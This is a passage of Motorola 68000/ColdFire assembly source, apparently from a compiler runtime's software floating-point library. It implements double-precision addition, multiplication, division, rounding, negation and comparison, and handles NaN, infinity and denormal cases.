| one more bit we check this:
btst IMM (DBL_MANT_DIG+1),d0
beq 1f
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
addw IMM (1),d4
#else
lsrl IMM (1),d3
btst IMM (0),d2
beq 10f
bset IMM (31),d3
10: lsrl IMM (1),d2
btst IMM (0),d1
beq 11f
bset IMM (31),d2
11: lsrl IMM (1),d1
btst IMM (0),d0
beq 12f
bset IMM (31),d1
12: lsrl IMM (1),d0
addl IMM (1),d4
#endif
1:
lea pc@(Lsubdf$1),a0 | to return from rounding routine
PICLEA SYM (_fpCCR),a1 | check the rounding mode
#ifdef __mcoldfire__
clrl d6
#endif
movew a1@(6),d6 | rounding mode in d6
beq Lround$to$nearest
#ifndef __mcoldfire__
cmpw IMM (ROUND_TO_PLUS),d6
#else
cmpl IMM (ROUND_TO_PLUS),d6
#endif
bhi Lround$to$minus
blt Lround$to$zero
bra Lround$to$plus
Lsubdf$1:
| Put back the exponent and sign (we don't have overflow). '
bclr IMM (DBL_MANT_DIG-1),d0
#ifndef __mcoldfire__
lslw IMM (4),d4 | put exponent back into position
#else
lsll IMM (4),d4 | put exponent back into position
#endif
swap d0 |
#ifndef __mcoldfire__
orw d4,d0 |
#else
orl d4,d0 |
#endif
swap d0 |
bra Ladddf$ret
| If one of the numbers was too small (difference of exponents >=
| DBL_MANT_DIG+1) we return the other (and now we don't have to '
| check for finiteness or zero).
Ladddf$a$small:
#ifndef __mcoldfire__
moveml sp@+,a2-a3
#else
movel sp@+,a4
movel sp@+,a3
movel sp@+,a2
#endif
movel a6@(16),d0
movel a6@(20),d1
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | restore data registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 | and return
rts
Ladddf$b$small:
#ifndef __mcoldfire__
moveml sp@+,a2-a3
#else
movel sp@+,a4
movel sp@+,a3
movel sp@+,a2
#endif
movel a6@(8),d0
movel a6@(12),d1
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | restore data registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 | and return
rts
Ladddf$a$den:
movel d7,d4 | d7 contains 0x00200000
bra Ladddf$1
Ladddf$b$den:
movel d7,d5 | d7 contains 0x00200000
notl d6
bra Ladddf$2
Ladddf$b:
| Return b (if a is zero)
movel d2,d0
movel d3,d1
bne 1f | Check if b is -0
cmpl IMM (0x80000000),d0
bne 1f
andl IMM (0x80000000),d7 | Use the sign of a
clrl d0
bra Ladddf$ret
Ladddf$a:
movel a6@(8),d0
movel a6@(12),d1
1:
moveq IMM (ADD),d5
| Check for NaN and +/-INFINITY.
movel d0,d7 |
andl IMM (0x80000000),d7 |
bclr IMM (31),d0 |
cmpl IMM (0x7ff00000),d0 |
bge 2f |
movel d0,d0 | check for zero, since we don't '
bne Ladddf$ret | want to return -0 by mistake
bclr IMM (31),d7 |
bra Ladddf$ret |
2:
andl IMM (0x000fffff),d0 | check for NaN (nonzero fraction)
orl d1,d0 |
bne Ld$inop |
bra Ld$infty |
Ladddf$ret$1:
#ifndef __mcoldfire__
moveml sp@+,a2-a3 | restore regs and exit
#else
movel sp@+,a4
movel sp@+,a3
movel sp@+,a2
#endif
Ladddf$ret:
| Normal exit.
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
orl d7,d0 | put sign bit back
#ifndef __mcoldfire__
moveml sp@+,d2-d7
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
Ladddf$ret$den:
| Return a denormalized number.
#ifndef __mcoldfire__
lsrl IMM (1),d0 | shift right once more
roxrl IMM (1),d1 |
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
#endif
bra Ladddf$ret
Ladddf$nf:
moveq IMM (ADD),d5
| This could be faster but it is not worth the effort, since it is not
| executed very often. We sacrifice speed for clarity here.
movel a6@(8),d0 | get the numbers back (remember that we
movel a6@(12),d1 | did some processing already)
movel a6@(16),d2 |
movel a6@(20),d3 |
movel IMM (0x7ff00000),d4 | useful constant (INFINITY)
movel d0,d7 | save sign bits
movel d2,d6 |
bclr IMM (31),d0 | clear sign bits
bclr IMM (31),d2 |
| We know that one of them is either NaN of +/-INFINITY
| Check for NaN (if either one is NaN return NaN)
cmpl d4,d0 | check first a (d0)
bhi Ld$inop | if d0 > 0x7ff00000 or equal and
bne 2f
tstl d1 | d1 > 0, a is NaN
bne Ld$inop |
2: cmpl d4,d2 | check now b (d1)
bhi Ld$inop |
bne 3f
tstl d3 |
bne Ld$inop |
3:
| Now comes the check for +/-INFINITY. We know that both are (maybe not
| finite) numbers, but we have to check if both are infinite whether we
| are adding or subtracting them.
eorl d7,d6 | to check sign bits
bmi 1f
andl IMM (0x80000000),d7 | get (common) sign bit
bra Ld$infty
1:
| We know one (or both) are infinite, so we test for equality between the
| two numbers (if they are equal they have to be infinite both, so we
| return NaN).
cmpl d2,d0 | are both infinite?
bne 1f | if d0 <> d2 they are not equal
cmpl d3,d1 | if d0 == d2 test d3 and d1
beq Ld$inop | if equal return NaN
1:
andl IMM (0x80000000),d7 | get a's sign bit '
cmpl d4,d0 | test now for infinity
beq Ld$infty | if a is INFINITY return with this sign
bchg IMM (31),d7 | else we know b is INFINITY and has
bra Ld$infty | the opposite sign
|=============================================================================
| __muldf3
|=============================================================================
| double __muldf3(double, double);
FUNC(__muldf3)
SYM (__muldf3):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@-
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
movel a6@(8),d0 | get a into d0-d1
movel a6@(12),d1 |
movel a6@(16),d2 | and b into d2-d3
movel a6@(20),d3 |
movel d0,d7 | d7 will hold the sign of the product
eorl d2,d7 |
andl IMM (0x80000000),d7 |
movel d7,a0 | save sign bit into a0
movel IMM (0x7ff00000),d7 | useful constant (+INFINITY)
movel d7,d6 | another (mask for fraction)
notl d6 |
bclr IMM (31),d0 | get rid of a's sign bit '
movel d0,d4 |
orl d1,d4 |
beq Lmuldf$a$0 | branch if a is zero
movel d0,d4 |
bclr IMM (31),d2 | get rid of b's sign bit '
movel d2,d5 |
orl d3,d5 |
beq Lmuldf$b$0 | branch if b is zero
movel d2,d5 |
cmpl d7,d0 | is a big?
bhi Lmuldf$inop | if a is NaN return NaN
beq Lmuldf$a$nf | we still have to check d1 and b ...
cmpl d7,d2 | now compare b with INFINITY
bhi Lmuldf$inop | is b NaN?
beq Lmuldf$b$nf | we still have to check d3 ...
| Here we have both numbers finite and nonzero (and with no sign bit).
| Now we get the exponents into d4 and d5.
andl d7,d4 | isolate exponent in d4
beq Lmuldf$a$den | if exponent zero, have denormalized
andl d6,d0 | isolate fraction
orl IMM (0x00100000),d0 | and put hidden bit back
swap d4 | I like exponents in the first byte
#ifndef __mcoldfire__
lsrw IMM (4),d4 |
#else
lsrl IMM (4),d4 |
#endif
Lmuldf$1:
andl d7,d5 |
beq Lmuldf$b$den |
andl d6,d2 |
orl IMM (0x00100000),d2 | and put hidden bit back
swap d5 |
#ifndef __mcoldfire__
lsrw IMM (4),d5 |
#else
lsrl IMM (4),d5 |
#endif
Lmuldf$2: |
#ifndef __mcoldfire__
addw d5,d4 | add exponents
subw IMM (D_BIAS+1),d4 | and subtract bias (plus one)
#else
addl d5,d4 | add exponents
subl IMM (D_BIAS+1),d4 | and subtract bias (plus one)
#endif
| We are now ready to do the multiplication. The situation is as follows:
| both a and b have bit 52 ( bit 20 of d0 and d2) set (even if they were
| denormalized to start with!), which means that in the product bit 104
| (which will correspond to bit 8 of the fourth long) is set.
| Here we have to do the product.
| To do it we have to juggle the registers back and forth, as there are not
| enough to keep everything in them. So we use the address registers to keep
| some intermediate data.
#ifndef __mcoldfire__
moveml a2-a3,sp@- | save a2 and a3 for temporary use
#else
movel a2,sp@-
movel a3,sp@-
movel a4,sp@-
#endif
movel IMM (0),a2 | a2 is a null register
movel d4,a3 | and a3 will preserve the exponent
| First, shift d2-d3 so bit 20 becomes bit 31:
#ifndef __mcoldfire__
rorl IMM (5),d2 | rotate d2 5 places right
swap d2 | and swap it
rorl IMM (5),d3 | do the same thing with d3
swap d3 |
movew d3,d6 | get the rightmost 11 bits of d3
andw IMM (0x07ff),d6 |
orw d6,d2 | and put them into d2
andw IMM (0xf800),d3 | clear those bits in d3
#else
moveq IMM (11),d7 | left shift d2 11 bits
lsll d7,d2
movel d3,d6 | get a copy of d3
lsll d7,d3 | left shift d3 11 bits
andl IMM (0xffe00000),d6 | get the top 11 bits of d3
moveq IMM (21),d7 | right shift them 21 bits
lsrl d7,d6
orl d6,d2 | stick them at the end of d2
#endif
movel d2,d6 | move b into d6-d7
movel d3,d7 | move a into d4-d5
movel d0,d4 | and clear d0-d1-d2-d3 (to put result)
movel d1,d5 |
movel IMM (0),d3 |
movel d3,d2 |
movel d3,d1 |
movel d3,d0 |
| We use a1 as counter:
movel IMM (DBL_MANT_DIG-1),a1
#ifndef __mcoldfire__
exg d7,a1
#else
movel d7,a4
movel a1,d7
movel a4,a1
#endif
1:
#ifndef __mcoldfire__
exg d7,a1 | put counter back in a1
#else
movel d7,a4
movel a1,d7
movel a4,a1
#endif
addl d3,d3 | shift sum once left
addxl d2,d2 |
addxl d1,d1 |
addxl d0,d0 |
addl d7,d7 |
addxl d6,d6 |
bcc 2f | if bit clear skip the following
#ifndef __mcoldfire__
exg d7,a2 |
#else
movel d7,a4
movel a2,d7
movel a4,a2
#endif
addl d5,d3 | else add a to the sum
addxl d4,d2 |
addxl d7,d1 |
addxl d7,d0 |
#ifndef __mcoldfire__
exg d7,a2 |
#else
movel d7,a4
movel a2,d7
movel a4,a2
#endif
2:
#ifndef __mcoldfire__
exg d7,a1 | put counter in d7
dbf d7,1b | decrement and branch
#else
movel d7,a4
movel a1,d7
movel a4,a1
subql IMM (1),d7
bpl 1b
#endif
movel a3,d4 | restore exponent
#ifndef __mcoldfire__
moveml sp@+,a2-a3
#else
movel sp@+,a4
movel sp@+,a3
movel sp@+,a2
#endif
| Now we have the product in d0-d1-d2-d3, with bit 8 of d0 set. The
| first thing to do now is to normalize it so bit 8 becomes bit
| DBL_MANT_DIG-32 (to do the rounding); later we will shift right.
swap d0
swap d1
movew d1,d0
swap d2
movew d2,d1
swap d3
movew d3,d2
movew IMM (0),d3
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
#else
moveq IMM (29),d6
lsrl IMM (3),d3
movel d2,d7
lsll d6,d7
orl d7,d3
lsrl IMM (3),d2
movel d1,d7
lsll d6,d7
orl d7,d2
lsrl IMM (3),d1
movel d0,d7
lsll d6,d7
orl d7,d1
lsrl IMM (3),d0
#endif
| Now round, check for over- and underflow, and exit.
movel a0,d7 | get sign bit back into d7
moveq IMM (MULTIPLY),d5
btst IMM (DBL_MANT_DIG+1-32),d0
beq Lround$exit
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
addw IMM (1),d4
#else
lsrl IMM (1),d1
btst IMM (0),d0
beq 10f
bset IMM (31),d1
10: lsrl IMM (1),d0
addl IMM (1),d4
#endif
bra Lround$exit
Lmuldf$inop:
moveq IMM (MULTIPLY),d5
bra Ld$inop
Lmuldf$b$nf:
moveq IMM (MULTIPLY),d5
movel a0,d7 | get sign bit back into d7
tstl d3 | we know d2 == 0x7ff00000, so check d3
bne Ld$inop | if d3 <> 0 b is NaN
bra Ld$overflow | else we have overflow (since a is finite)
Lmuldf$a$nf:
moveq IMM (MULTIPLY),d5
movel a0,d7 | get sign bit back into d7
tstl d1 | we know d0 == 0x7ff00000, so check d1
bne Ld$inop | if d1 <> 0 a is NaN
bra Ld$overflow | else signal overflow
| If either number is zero return zero, unless the other is +/-INFINITY or
| NaN, in which case we return NaN.
Lmuldf$b$0:
moveq IMM (MULTIPLY),d5
#ifndef __mcoldfire__
exg d2,d0 | put b (==0) into d0-d1
exg d3,d1 | and a (with sign bit cleared) into d2-d3
movel a0,d0 | set result sign
#else
movel d0,d2 | put a into d2-d3
movel d1,d3
movel a0,d0 | put result zero into d0-d1
movq IMM(0),d1
#endif
bra 1f
Lmuldf$a$0:
movel a0,d0 | set result sign
movel a6@(16),d2 | put b into d2-d3 again
movel a6@(20),d3 |
bclr IMM (31),d2 | clear sign bit
1: cmpl IMM (0x7ff00000),d2 | check for non-finiteness
bge Ld$inop | in case NaN or +/-INFINITY return NaN
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
| If a number is denormalized we put an exponent of 1 but do not put the
| hidden bit back into the fraction; instead we shift left until bit 21
| (the hidden bit) is set, adjusting the exponent accordingly. We do this
| to ensure that the product of the fractions is close to 1.
Lmuldf$a$den:
movel IMM (1),d4
andl d6,d0
1: addl d1,d1 | shift a left until bit 20 is set
addxl d0,d0 |
#ifndef __mcoldfire__
subw IMM (1),d4 | and adjust exponent
#else
subl IMM (1),d4 | and adjust exponent
#endif
btst IMM (20),d0 |
bne Lmuldf$1 |
bra 1b
Lmuldf$b$den:
movel IMM (1),d5
andl d6,d2
1: addl d3,d3 | shift b left until bit 20 is set
addxl d2,d2 |
#ifndef __mcoldfire__
subw IMM (1),d5 | and adjust exponent
#else
subql IMM (1),d5 | and adjust exponent
#endif
btst IMM (20),d2 |
bne Lmuldf$2 |
bra 1b
|=============================================================================
| __divdf3
|=============================================================================
| double __divdf3(double, double);
FUNC(__divdf3)
SYM (__divdf3):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@-
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
movel a6@(8),d0 | get a into d0-d1
movel a6@(12),d1 |
movel a6@(16),d2 | and b into d2-d3
movel a6@(20),d3 |
movel d0,d7 | d7 will hold the sign of the result
eorl d2,d7 |
andl IMM (0x80000000),d7
movel d7,a0 | save sign into a0
movel IMM (0x7ff00000),d7 | useful constant (+INFINITY)
movel d7,d6 | another (mask for fraction)
notl d6 |
bclr IMM (31),d0 | get rid of a's sign bit '
movel d0,d4 |
orl d1,d4 |
beq Ldivdf$a$0 | branch if a is zero
movel d0,d4 |
bclr IMM (31),d2 | get rid of b's sign bit '
movel d2,d5 |
orl d3,d5 |
beq Ldivdf$b$0 | branch if b is zero
movel d2,d5
cmpl d7,d0 | is a big?
bhi Ldivdf$inop | if a is NaN return NaN
beq Ldivdf$a$nf | if d0 == 0x7ff00000 we check d1
cmpl d7,d2 | now compare b with INFINITY
bhi Ldivdf$inop | if b is NaN return NaN
beq Ldivdf$b$nf | if d2 == 0x7ff00000 we check d3
| Here we have both numbers finite and nonzero (and with no sign bit).
| Now we get the exponents into d4 and d5 and normalize the numbers to
| ensure that the ratio of the fractions is around 1. We do this by
| making sure that both numbers have bit #DBL_MANT_DIG-32-1 (hidden bit)
| set, even if they were denormalized to start with.
| Thus, the result will satisfy: 2 > result > 1/2.
andl d7,d4 | and isolate exponent in d4
beq Ldivdf$a$den | if exponent is zero we have a denormalized
andl d6,d0 | and isolate fraction
orl IMM (0x00100000),d0 | and put hidden bit back
swap d4 | I like exponents in the first byte
#ifndef __mcoldfire__
lsrw IMM (4),d4 |
#else
lsrl IMM (4),d4 |
#endif
Ldivdf$1: |
andl d7,d5 |
beq Ldivdf$b$den |
andl d6,d2 |
orl IMM (0x00100000),d2
swap d5 |
#ifndef __mcoldfire__
lsrw IMM (4),d5 |
#else
lsrl IMM (4),d5 |
#endif
Ldivdf$2: |
#ifndef __mcoldfire__
subw d5,d4 | subtract exponents
addw IMM (D_BIAS),d4 | and add bias
#else
subl d5,d4 | subtract exponents
addl IMM (D_BIAS),d4 | and add bias
#endif
| We are now ready to do the division. We have prepared things in such a way
| that the ratio of the fractions will be less than 2 but greater than 1/2.
| At this point the registers in use are:
| d0-d1 hold a (first operand, bit DBL_MANT_DIG-32=0, bit
| DBL_MANT_DIG-1-32=1)
| d2-d3 hold b (second operand, bit DBL_MANT_DIG-32=1)
| d4 holds the difference of the exponents, corrected by the bias
| a0 holds the sign of the ratio
| To do the rounding correctly we need to keep information about the
| nonsignificant bits. One way to do this would be to do the division
| using four registers; another is to use two registers (as originally
| I did), but use a sticky bit to preserve information about the
| fractional part. Note that we can keep that info in a1, which is not
| used.
movel IMM (0),d6 | d6-d7 will hold the result
movel d6,d7 |
movel IMM (0),a1 | and a1 will hold the sticky bit
movel IMM (DBL_MANT_DIG-32+1),d5
1: cmpl d0,d2 | is a < b?
bhi 3f | if b > a skip the following
beq 4f | if d0==d2 check d1 and d3
2: subl d3,d1 |
subxl d2,d0 | a <-- a - b
bset d5,d6 | set the corresponding bit in d6
3: addl d1,d1 | shift a by 1
addxl d0,d0 |
#ifndef __mcoldfire__
dbra d5,1b | and branch back
#else
subql IMM (1), d5
bpl 1b
#endif
bra 5f
4: cmpl d1,d3 | here d0==d2, so check d1 and d3
bhi 3b | if d1 > d2 skip the subtraction
bra 2b | else go do it
5:
| Here we have to start setting the bits in the second long.
movel IMM (31),d5 | again d5 is counter
1: cmpl d0,d2 | is a < b?
bhi 3f | if b > a skip the following
beq 4f | if d0==d2 check d1 and d3
2: subl d3,d1 |
subxl d2,d0 | a <-- a - b
bset d5,d7 | set the corresponding bit in d7
3: addl d1,d1 | shift a by 1
addxl d0,d0 |
#ifndef __mcoldfire__
dbra d5,1b | and branch back
#else
subql IMM (1), d5
bpl 1b
#endif
bra 5f
4: cmpl d1,d3 | here d0==d2, so check d1 and d3
bhi 3b | if d1 > d2 skip the subtraction
bra 2b | else go do it
5:
| Now go ahead checking until we hit a one, which we store in d2.
movel IMM (DBL_MANT_DIG),d5
1: cmpl d2,d0 | is a < b?
bhi 4f | if b < a, exit
beq 3f | if d0==d2 check d1 and d3
2: addl d1,d1 | shift a by 1
addxl d0,d0 |
#ifndef __mcoldfire__
dbra d5,1b | and branch back
#else
subql IMM (1), d5
bpl 1b
#endif
movel IMM (0),d2 | here no sticky bit was found
movel d2,d3
bra 5f
3: cmpl d1,d3 | here d0==d2, so check d1 and d3
bhi 2b | if d1 > d2 go back
4:
| Here put the sticky bit in d2-d3 (in the position which actually corresponds
| to it; if you don't do this the algorithm loses in some cases). '
movel IMM (0),d2
movel d2,d3
#ifndef __mcoldfire__
subw IMM (DBL_MANT_DIG),d5
addw IMM (63),d5
cmpw IMM (31),d5
#else
subl IMM (DBL_MANT_DIG),d5
addl IMM (63),d5
cmpl IMM (31),d5
#endif
bhi 2f
1: bset d5,d3
bra 5f
#ifndef __mcoldfire__
subw IMM (32),d5
#else
subl IMM (32),d5
#endif
2: bset d5,d2
5:
| Finally we are finished! Move the longs in the address registers to
| their final destination:
movel d6,d0
movel d7,d1
movel IMM (0),d3
| Here we have finished the division, with the result in d0-d1-d2-d3, with
| 2^21 <= d6 < 2^23. Thus bit 23 is not set, but bit 22 could be set.
| If it is not, then definitely bit 21 is set. Normalize so bit 22 is
| not set:
btst IMM (DBL_MANT_DIG-32+1),d0
beq 1f
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
addw IMM (1),d4
#else
lsrl IMM (1),d3
btst IMM (0),d2
beq 10f
bset IMM (31),d3
10: lsrl IMM (1),d2
btst IMM (0),d1
beq 11f
bset IMM (31),d2
11: lsrl IMM (1),d1
btst IMM (0),d0
beq 12f
bset IMM (31),d1
12: lsrl IMM (1),d0
addl IMM (1),d4
#endif
1:
| Now round, check for over- and underflow, and exit.
movel a0,d7 | restore sign bit to d7
moveq IMM (DIVIDE),d5
bra Lround$exit
Ldivdf$inop:
moveq IMM (DIVIDE),d5
bra Ld$inop
Ldivdf$a$0:
| If a is zero check to see whether b is zero also. In that case return
| NaN; then check if b is NaN, and return NaN also in that case. Else
| return a properly signed zero.
moveq IMM (DIVIDE),d5
bclr IMM (31),d2 |
movel d2,d4 |
orl d3,d4 |
beq Ld$inop | if b is also zero return NaN
cmpl IMM (0x7ff00000),d2 | check for NaN
bhi Ld$inop |
blt 1f |
tstl d3 |
bne Ld$inop |
1: movel a0,d0 | else return signed zero
moveq IMM(0),d1 |
PICLEA SYM (_fpCCR),a0 | clear exception flags
movew IMM (0),a0@ |
#ifndef __mcoldfire__
moveml sp@+,d2-d7 |
#else
moveml sp@,d2-d7 |
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 |
rts |
Ldivdf$b$0:
moveq IMM (DIVIDE),d5
| If we got here a is not zero. Check if a is NaN; in that case return NaN,
| else return +/-INFINITY. Remember that a is in d0 with the sign bit
| cleared already.
movel a0,d7 | put a's sign bit back in d7 '
cmpl IMM (0x7ff00000),d0 | compare d0 with INFINITY
bhi Ld$inop | if larger it is NaN
tstl d1 |
bne Ld$inop |
bra Ld$div$0 | else signal DIVIDE_BY_ZERO
Ldivdf$b$nf:
moveq IMM (DIVIDE),d5
| If d2 == 0x7ff00000 we have to check d3.
tstl d3 |
bne Ld$inop | if d3 <> 0, b is NaN
bra Ld$underflow | else b is +/-INFINITY, so signal underflow
Ldivdf$a$nf:
moveq IMM (DIVIDE),d5
| If d0 == 0x7ff00000 we have to check d1.
tstl d1 |
bne Ld$inop | if d1 <> 0, a is NaN
| If a is INFINITY we have to check b
cmpl d7,d2 | compare b with INFINITY
bge Ld$inop | if b is NaN or INFINITY return NaN
tstl d3 |
bne Ld$inop |
bra Ld$overflow | else return overflow
| If a number is denormalized we put an exponent of 1 but do not put the
| bit back into the fraction.
Ldivdf$a$den:
movel IMM (1),d4
andl d6,d0
1: addl d1,d1 | shift a left until bit 20 is set
addxl d0,d0
#ifndef __mcoldfire__
subw IMM (1),d4 | and adjust exponent
#else
subl IMM (1),d4 | and adjust exponent
#endif
btst IMM (DBL_MANT_DIG-32-1),d0
bne Ldivdf$1
bra 1b
Ldivdf$b$den:
movel IMM (1),d5
andl d6,d2
1: addl d3,d3 | shift b left until bit 20 is set
addxl d2,d2
#ifndef __mcoldfire__
subw IMM (1),d5 | and adjust exponent
#else
subql IMM (1),d5 | and adjust exponent
#endif
btst IMM (DBL_MANT_DIG-32-1),d2
bne Ldivdf$2
bra 1b
Lround$exit:
| This is a common exit point for __muldf3 and __divdf3. When they enter
| this point the sign of the result is in d7, the result in d0-d1, normalized
| so that 2^21 <= d0 < 2^22, and the exponent is in the lower byte of d4.
| First check for underlow in the exponent:
#ifndef __mcoldfire__
cmpw IMM (-DBL_MANT_DIG-1),d4
#else
cmpl IMM (-DBL_MANT_DIG-1),d4
#endif
blt Ld$underflow
| It could happen that the exponent is less than 1, in which case the
| number is denormalized. In this case we shift right and adjust the
| exponent until it becomes 1 or the fraction is zero (in the latter case
| we signal underflow and return zero).
movel d7,a0 |
movel IMM (0),d6 | use d6-d7 to collect bits flushed right
movel d6,d7 | use d6-d7 to collect bits flushed right
#ifndef __mcoldfire__
cmpw IMM (1),d4 | if the exponent is less than 1 we
#else
cmpl IMM (1),d4 | if the exponent is less than 1 we
#endif
bge 2f | have to shift right (denormalize)
1:
#ifndef __mcoldfire__
addw IMM (1),d4 | adjust the exponent
lsrl IMM (1),d0 | shift right once
roxrl IMM (1),d1 |
roxrl IMM (1),d2 |
roxrl IMM (1),d3 |
roxrl IMM (1),d6 |
roxrl IMM (1),d7 |
cmpw IMM (1),d4 | is the exponent 1 already?
#else
addl IMM (1),d4 | adjust the exponent
lsrl IMM (1),d7
btst IMM (0),d6
beq 13f
bset IMM (31),d7
13: lsrl IMM (1),d6
btst IMM (0),d3
beq 14f
bset IMM (31),d6
14: lsrl IMM (1),d3
btst IMM (0),d2
beq 10f
bset IMM (31),d3
10: lsrl IMM (1),d2
btst IMM (0),d1
beq 11f
bset IMM (31),d2
11: lsrl IMM (1),d1
btst IMM (0),d0
beq 12f
bset IMM (31),d1
12: lsrl IMM (1),d0
cmpl IMM (1),d4 | is the exponent 1 already?
#endif
beq 2f | if not loop back
bra 1b |
bra Ld$underflow | safety check, shouldn't execute '
2: orl d6,d2 | this is a trick so we don't lose '
orl d7,d3 | the bits which were flushed right
movel a0,d7 | get back sign bit into d7
| Now call the rounding routine (which takes care of denormalized numbers):
lea pc@(Lround$0),a0 | to return from rounding routine
PICLEA SYM (_fpCCR),a1 | check the rounding mode
#ifdef __mcoldfire__
clrl d6
#endif
movew a1@(6),d6 | rounding mode in d6
beq Lround$to$nearest
#ifndef __mcoldfire__
cmpw IMM (ROUND_TO_PLUS),d6
#else
cmpl IMM (ROUND_TO_PLUS),d6
#endif
bhi Lround$to$minus
blt Lround$to$zero
bra Lround$to$plus
Lround$0:
| Here we have a correctly rounded result (either normalized or denormalized).
| Here we should have either a normalized number or a denormalized one, and
| the exponent is necessarily larger or equal to 1 (so we don't have to '
| check again for underflow!). We have to check for overflow or for a
| denormalized number (which also signals underflow).
| Check for overflow (i.e., exponent >= 0x7ff).
#ifndef __mcoldfire__
cmpw IMM (0x07ff),d4
#else
cmpl IMM (0x07ff),d4
#endif
bge Ld$overflow
| Now check for a denormalized number (exponent==0):
movew d4,d4
beq Ld$den
1:
| Put back the exponents and sign and return.
#ifndef __mcoldfire__
lslw IMM (4),d4 | exponent back to fourth byte
#else
lsll IMM (4),d4 | exponent back to fourth byte
#endif
bclr IMM (DBL_MANT_DIG-32-1),d0
swap d0 | and put back exponent
#ifndef __mcoldfire__
orw d4,d0 |
#else
orl d4,d0 |
#endif
swap d0 |
orl d7,d0 | and sign also
PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
|=============================================================================
| __negdf2
|=============================================================================
| double __negdf2(double, double);
FUNC(__negdf2)
SYM (__negdf2):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@-
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
moveq IMM (NEGATE),d5
movel a6@(8),d0 | get number to negate in d0-d1
movel a6@(12),d1 |
bchg IMM (31),d0 | negate
movel d0,d2 | make a positive copy (for the tests)
bclr IMM (31),d2 |
movel d2,d4 | check for zero
orl d1,d4 |
beq 2f | if zero (either sign) return +zero
cmpl IMM (0x7ff00000),d2 | compare to +INFINITY
blt 1f | if finite, return
bhi Ld$inop | if larger (fraction not zero) is NaN
tstl d1 | if d2 == 0x7ff00000 check d1
bne Ld$inop |
movel d0,d7 | else get sign and return INFINITY
andl IMM (0x80000000),d7
bra Ld$infty
1: PICLEA SYM (_fpCCR),a0
movew IMM (0),a0@
#ifndef __mcoldfire__
moveml sp@+,d2-d7
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6
rts
2: bclr IMM (31),d0
bra 1b
|=============================================================================
| __cmpdf2
|=============================================================================
GREATER = 1
LESS = -1
EQUAL = 0
| int __cmpdf2_internal(double, double, int);
SYM (__cmpdf2_internal):
#ifndef __mcoldfire__
link a6,IMM (0)
moveml d2-d7,sp@- | save registers
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
moveq IMM (COMPARE),d5
movel a6@(8),d0 | get first operand
movel a6@(12),d1 |
movel a6@(16),d2 | get second operand
movel a6@(20),d3 |
| First check if a and/or b are (+/-) zero and in that case clear
| the sign bit.
movel d0,d6 | copy signs into d6 (a) and d7(b)
bclr IMM (31),d0 | and clear signs in d0 and d2
movel d2,d7 |
bclr IMM (31),d2 |
cmpl IMM (0x7ff00000),d0 | check for a == NaN
bhi Lcmpd$inop | if d0 > 0x7ff00000, a is NaN
beq Lcmpdf$a$nf | if equal can be INFINITY, so check d1
movel d0,d4 | copy into d4 to test for zero
orl d1,d4 |
beq Lcmpdf$a$0 |
Lcmpdf$0:
cmpl IMM (0x7ff00000),d2 | check for b == NaN
bhi Lcmpd$inop | if d2 > 0x7ff00000, b is NaN
beq Lcmpdf$b$nf | if equal can be INFINITY, so check d3
movel d2,d4 |
orl d3,d4 |
beq Lcmpdf$b$0 |
Lcmpdf$1:
| Check the signs
eorl d6,d7
bpl 1f
| If the signs are not equal check if a >= 0
tstl d6
bpl Lcmpdf$a$gt$b | if (a >= 0 && b < 0) => a > b
bmi Lcmpdf$b$gt$a | if (a < 0 && b >= 0) => a < b
1:
| If the signs are equal check for < 0
tstl d6
bpl 1f
| If both are negative exchange them
#ifndef __mcoldfire__
exg d0,d2
exg d1,d3
#else
movel d0,d7
movel d2,d0
movel d7,d2
movel d1,d7
movel d3,d1
movel d7,d3
#endif
1:
| Now that they are positive we just compare them as longs (does this also
| work for denormalized numbers?).
cmpl d0,d2
bhi Lcmpdf$b$gt$a | |b| > |a|
bne Lcmpdf$a$gt$b | |b| < |a|
| If we got here d0 == d2, so we compare d1 and d3.
cmpl d1,d3
bhi Lcmpdf$b$gt$a | |b| > |a|
bne Lcmpdf$a$gt$b | |b| < |a|
| If we got here a == b.
movel IMM (EQUAL),d0
#ifndef __mcoldfire__
moveml sp@+,d2-d7 | put back the registers
#else
moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
